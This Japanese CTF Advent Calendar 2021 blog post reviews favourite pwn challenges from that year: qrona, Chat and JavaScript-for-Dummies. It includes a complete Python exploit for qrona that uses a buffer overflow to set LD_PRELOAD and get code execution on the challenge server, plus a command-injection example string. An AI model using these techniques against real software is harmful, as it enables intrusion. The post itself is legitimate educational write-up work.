はじめに
この記事はCTF Advent Calendar 2021の6日目の記事です。 昨日はふるつきのCrypto CTFプレイヤーにおすすめのVim Plugin 1選でした。 明日もふるつきが何か書いてくれます。
さて、この記事では今年解いたpwn問題の中から、主観で選んだいろんな良問について解説します。
受賞作品一覧
qrona - 創造力賞
創造力賞(Creativity Award):解法がもっとも独創的だった問題に与えられる賞
概要と解説
まず紹介するのはMidnight Sun CTF 2021 Finalsのqronaというpwn問です。 HackingForSojuのb0bbさんが作問されました。 この問題では次のような動作をするバイナリが配布されます。
- 適当な名前で
/tmp
以下の作業ディレクトリに作業ファイルを作成する - base64文字列を入力として受け取り、デコードしたものを作業ファイルに書き込む
zbarimg
コマンドを使ってそのバイナリをQRコードとして読み取る- 2と3は繰り返せる
RELRO, SSP, NX, PIEはすべて有効です。 この問題の要となる脆弱性は非常に単純で、2のbase64文字列入力の際にバッファオーバーフローがあります。 バッファサイズは0x400バイト程度ですが、実際には0x1000バイトまで入力可能です。
バッファは次のような構造体の一部となっています。
typedef struct { char buf[0x400]; // +000h unsigned long pbuf; // +400h unsigned char is_debug; // +408h unsigned char path[0x10]; // +409h } T;
まずbuf
はbase64文字列が入るバッファです。デコード後の文字列はヒープに確保された領域に入るので関係ありません。
次にpbuf
にはbuf
へのポインタが入っています。しかし、実際には特に使われません。
is_debug
が1だと毎回ランダムに作成される作業ファイルの名前が作成後に出力されます。
このオプションは第一引数に"debug"という文字列を渡すと有効化できますが、リモートではoffです。
最後にpath
ですが、ここには作業ファイルの名前が入ります。
zbarimgは次のように起動されます。
snprintf(command, sizeof(command), "/usr/bin/zbarimg --raw '%s'", buf->path); system(command);
ここまで読めば解き方は自明で、バッファオーバーフローでpath
を書き換えてOS Command Injectionすれば終わりに思えます。
しかし、実際にはsnprintf
の前に次のようなチェックが入っています。
if (strncmp(buf->path, realpathstr, 0x10)) exit(1); if (!is_path_string(buf->path)) exit(1);
まず1つ目のチェックですが、実は生成されたファイルパスはグローバル変数にも入れられており、それと0x10バイト比較することでパスが正しいかを検証しています。
しかし実際にはこのチェックは意味がありません。なぜなら生成されるパスは/tmp/covid-YYYY-XXXXXX
の形式であり、0x10バイト以上あるからです。
is_debug
をバッファオーバーフローで書き換えておけば正しいパスが分かるので、
/tmp/covid-YYYY-XXXXXX'; /bin/ls#
のような文字列を与えればやはり任意コマンド実行できそうです。
次に2つ目のチェックですが、is_path_string
によりファイル名は英数字もしくはハイフン、スラッシュのいずれかで構成されていなくてはなりません。
したがって、先程のようなコマンドインジェクションは不可能になります。
ということでOS Command Injectionはできなさそうです。 次に考えるのがROPですが、これは2つの理由でできません。
まずはスタックcanaryの存在です。 SSPが有効でmain関数にもcanaryがいるのでスタックオーバーフローでリターンアドレスを書き換えても検知されてしまいます。 次に、そもそもmain関数にreturnするパスが存在しないため、うまくリターンアドレスを書き換えたとしてもROPが発火することはありません。
ということでROPもできなさそうです。 ちなみにPIEは突破可能で、base64のreadは改行文字で終わった時のみNULL終端にするため、範囲外のデータをbase64 decodeに渡してしまいます。 base64 decodeされたデータは出力されるのですが、不正な文字に関してはそのまま突っ込むという仕様になっているため、アドレスリークが可能です。
ここまでをまとめると
- スタックバッファオーバーフローがある
- ROPは不可能
is_debug
以外に書き換えて嬉しい変数はない- スタックやPIE等のアドレスはリーク可能
/usr/bin/zbarimg --raw 'xxx'
でファイルパスにある程度自由な英数字を入れられるzbarimg
に渡るデータは小さければ完全に制御可能
となります。
まず最初に考えたのがzbarimgの謎機能です。 わざわざzbarimgを呼び出しているということはzbarimg自体に何かしらの脆弱性があるのではないかと疑いました。 しかし、zbarimgの実装を見ても怪しい点はなく、0-dayでない限りzbarimgを攻略するのは不可能と判断しました。
しばらくして思いついたのが環境変数の汚染です。
zbarimgの起動にsystem関数を使っているため、libcのenviron
に記載されたポインタ、つまりスタック上の環境変数がzbarimgに渡ることになります。
これが閃けば解法は単純明快ですね。
LD_PRELOAD
を汚染すれば良いことが分かります。
今回zbarimgに渡るファイルの内容を操作可能なので、そこにコマンド実行するコードが書かれた共有ライブラリを書き込んで、バッファオーバーフローで環境変数を破壊してLD_PRELOAD
を設定すればzbarimgが呼び出される瞬間に任意コード実行が可能です。
スタックのアドレスはリーク可能なので、環境変数の場所も特定できます。
これをexploitに落とすと次のようになります。
from ptrlib import * import base64 import os os.system("nasm -f bin exp.s -o exp.so") with open("exp.so", "rb") as f: shared = f.read() assert len(shared) < 0x400 #sock = Process("./qrona") sock = Socket("nc qrona-01.play.midnightsunctf.se 1337") # leak stack payload = b'A' * 0x400 sock.sendafter("base64:", payload) l = sock.recvlineafter("decode: ") addr_env = u64(l) + 0x5a8 logger.info("env = " + hex(addr_env)) sock.sendlineafter("...", "") # overwrite debug mode payload = b'A'*0x409 sock.sendafter("base64:", payload) sock.sendlineafter("...", "") leak = sock.recvlineafter("tmpnam:")[5:] # overwrite env logger.info("tmpnam: " + leak.decode()) payload = base64.b64encode(shared) payload += b'\0' * (0x408 - len(payload)) payload += b'\x01' # flag payload += leak + b'\x00' payload += b"A"*0x178 payload += p64(addr_env) + p64(0) payload += b'LD_PRELOAD=' + leak + b'\x00' sock.sendafter("base64:", payload) sock.interactive()
exp.Sにはst98さんがどこかで書いたものを利用しました。
コメント
たいてい脆弱性が簡単な良問というのはexploitパズルがほとんどなのですが、この問題は環境変数の汚染というほぼ見かけない(というか見たことない)テクニックを題材にして「簡単だけど面白い」という問題に仕上がっていると思います。 こういう実際に利用できそうなexploitテクみたいな方向の新規性はどんどん開拓していって欲しいです。
【追記】実はかなり昔に似た問題がCODEGATEで出題されていたそうですが、解説されていた資料が非公開になったこともあり世の中から消え去っていたようです。
Chat - 脆弱性賞
脆弱性賞(Vulnerability Award):脆弱性がもっとも巧妙かつ自然に隠されていた問題に与えられる賞
概要と解説
次の紹介するのはTSGのmoratorium08さんが作問*2された、TSG CTF 2021のChatという問題です。→【追記】azatorium08さんでした。
クライアントとホストの間でやり取りするプログラムで、Unixソケット経由でC++のFile Streamを使って通信します。 少しでも通信データがバグると崩壊する設計なので、その方向でデータを壊せないかを調べるのが問題の一番のポイントとなります。
この問題に取り組んだ人のほとんどは次の関数の悪用を考えたかと思います。
virtual char *initialize(char message_to_be_sent[N_MESSAGE]) { char message[N_MESSAGE] = {}; reader.open(H2C, ios::in); writer.open(C2H, ios::out); writer.rdbuf()->pubsetbuf(0, 0); reader.rdbuf()->pubsetbuf(0, 0); if (!reader || !writer) return NULL; puts("connected..."); reader >> message; writer << message_to_be_sent << endl; return strdup(message); }
通信には通常、型情報やデータサイズといった情報を送ります。 しかし初回の名前交換の通信だけはそれが無いため、もし受信側が名前として受け取らない場合はType ConfusionやHeap Overflowが発生します。
つまり、名前交換した後に片方が通信を切断して、再接続して同じUnixソケットにデータを送れば良い訳です。 しかしそう上手くいかなくて、まずクライアントとホストは乱立できないようロックが取られています。 プログラムを終了せずに通信を切断するとロックが残るため、まずはプログラムを終了する必要があります。
しかし、プログラムを終了するとデストラクタで次の処理が走ります。
~Client(){
// remove named pipe
remove(H2C);
remove(C2H);
}
これはUnixソケットを削除する処理ですので、プログラムを終了するとUnixソケットの再利用はできません。
ここまでを整理すると、
- 片方の通信を残したままもう片方の通信を切断し、再接続したい
- 勝手に通信を切断するとファイルのロックが残りその部屋は使えなくなる
- 正常に通信を切断するとソケットが破棄されるため再接続できない
となります。「勝手に通信を切断する」というのはソケットに対するclose
を意味します。
もしプログラム自体がデストラクタを通ることなく終了するようであれば、その時は目的が達成されます。
ここまで整理できると探したいのが、プログラムがクラッシュするパスがないかです。 プログラムがクラッシュすればデストラクタが呼ばれないため目的が達成できます。
しかしこのプログラムは恐ろしいほどちゃんと例外を補足しており、クラッシュは難しいように見えます。 最終的にデバッグしてて分かったのが、次の箇所の例外です。
IntData& operator=(char *line) { val = stoull(line); free(line); return *this; }
この代入の前に整数を表す文字列が0〜9で構成されているかを調べるメソッドが呼ばれるため、通常問題はないように見えます。 しかし、C++のstoullは変換で整数オーバーフローが発生すると例外を投げる機構になっています。
この代入はC++のvariantに対して発生するのですが、その過程で例外が起きてしまうため型情報がバグります。 そうすると、そのバグったデータを使おうとした箇所(例外が補足されない箇所)で例外が発生して無事プログラムがクラッシュするという内容になっています。
コメント
一般作問者はソースコードを配布しなかったり、使う言語をマイナー言語にすることで脆弱性を隠そうと必死ですが、この問題はメジャー言語でソースコードまで公開しながら脆弱性が非常に見つけにくい設計になっていました。 個人の感想ですが、ソースコードを隠さないと難易度担保できない作問者は単純に作問が下手だと思うので、この問題を見習って「exploitが」難しい問題を設計して欲しいです。
JavaScript-for-Dummies - 教育賞
教育賞(Educational Award):もっとも教育的な問題に与えられる賞
概要と解説
最後に紹介するのは、Zh3r0 CTF 2021で出題されたJavaScript-for-Dummiesです。この問題はシリーズで2問ありました。 作問者はSuper Guesser(作問当時はチームzh3r0)のhkさんです。
問題内容は2問とも割と単純です。(2問目は結構脆弱性を見つけるのが難しいですが。)
- Uint32Arrayのサイズ確保に問題があり、ヒープ上で範囲外書き込みが可能
- TypedArrayのバッファが1つでもdetachされると、ガベージコレクタの発火タイミングで解放されてしまうためUAFが発生
脆弱性がこのようなシンプルな内容なので、問題の解説は特にありません。
コメント
この問題はいわゆるBrowser Exploit*3ですが、よく出るV8やWebKitではなく、mujsという小さいJSエンジンが使われています。 Browser Exploitを出題する際に問題になるのが、その複雑さです。 そもそもthird partyのソフトウェアに脆弱性を組み込む訳なので、配布ファイルは当然デカくなる上、バージョンごとに変わる複雑な攻撃対象の豆知識みたいなのが無いと解くのが難しいです。 そういったことから、Chrome関連のpwnは一定数のpwnerは出題されるのを嫌っている印象がありますし、私個人的にもあまり好きではありません。
一方、攻撃対象を小さくするためにmujsやquickjsといった小さいエンジンに脆弱性を埋め込むパターンも見られます。 しかし、こういったエンジンはlibcのヒープを使っていたり、機能的にJavaScriptの新しい構文に対応していなかったり、exploitが煩雑になってしまうことが多いです。
今回のJavaScript-for-Dummiesでもmujsを使っていたのですが、この問題ではexploitをより現実世界のものに近づけるための工夫が主に2点ありました。
- jemallocと呼ばれるメモリ管理ライブラリを使用している
- ArrayBufferが実装されている
まず1点目ですが、ただでさえメモリの確保・解放が大量発生するJSインタプリタを、mujsというlibcを使うプログラムでやると、悪夢のようなheap pwnが完成してしまいます。 当然これではchrome等の実世界のpwnでは何の役にも立ちません。 しかし、今回の問題はjemallocというサイズ帯ごとに確保される領域が変わる、いわゆるビットマップ方式でメモリを管理するアロケータなので、この問題が解消されています。
次に2点目として、mujsといったライブラリはJSの仕様を愚直に実装してしまっています。
JavaScriptはPHPと同様に「配列」という概念が仕様上は弱いです。
もちろん配列型は存在するのですが、arr[0]
というのはarr["0"]
と同様の意味を持ちます。
添字アクセスは実際にはプロパティと同様の扱いのため、mujsでは[1, 2, 3]
という配列を{"0": 1, "1": 2, "2": 3}
というオブジェクトと同様に扱っています。
一方V8等のメジャーなエンジンでは、内部的には配列は配列として実装されるため、0番目の要素と1番目の要素はメモリ上でも隣り合います。
したがって、範囲外参照といったテーマの脆弱性を実用的に実装するには本来mujsやquickjsは向いていません。
しかし、この問題は完全に独自でTypedArrayを実装してしまっているため、その問題もなくなっています。
このように、簡単な問題設定にしながら実世界でも通用する攻撃手法が使える設計になっていたため、今年最も教育的な問題と判断しました。
その他の良問
残念ながら受賞を逃した問題たちです。
- 創造力賞候補
- devnull as a service - redpwn CTF 2021
- 脆弱性賞候補
- puncher - m0leCon 2021
- deserts - redpwn CTF 2021
- 教育賞候補
- Full Chain - Google CTF 2021 Quals
- lkgit - TSG CTF 2021
- suscall - BSides Noida CTF 2021
残念賞
他にも「丸パクリ賞」「苦行賞」などの不名誉ある賞も用意していたのですが、何かの拍子に作問者の人に読まれたら嫌なので心の中に閉まっておきます。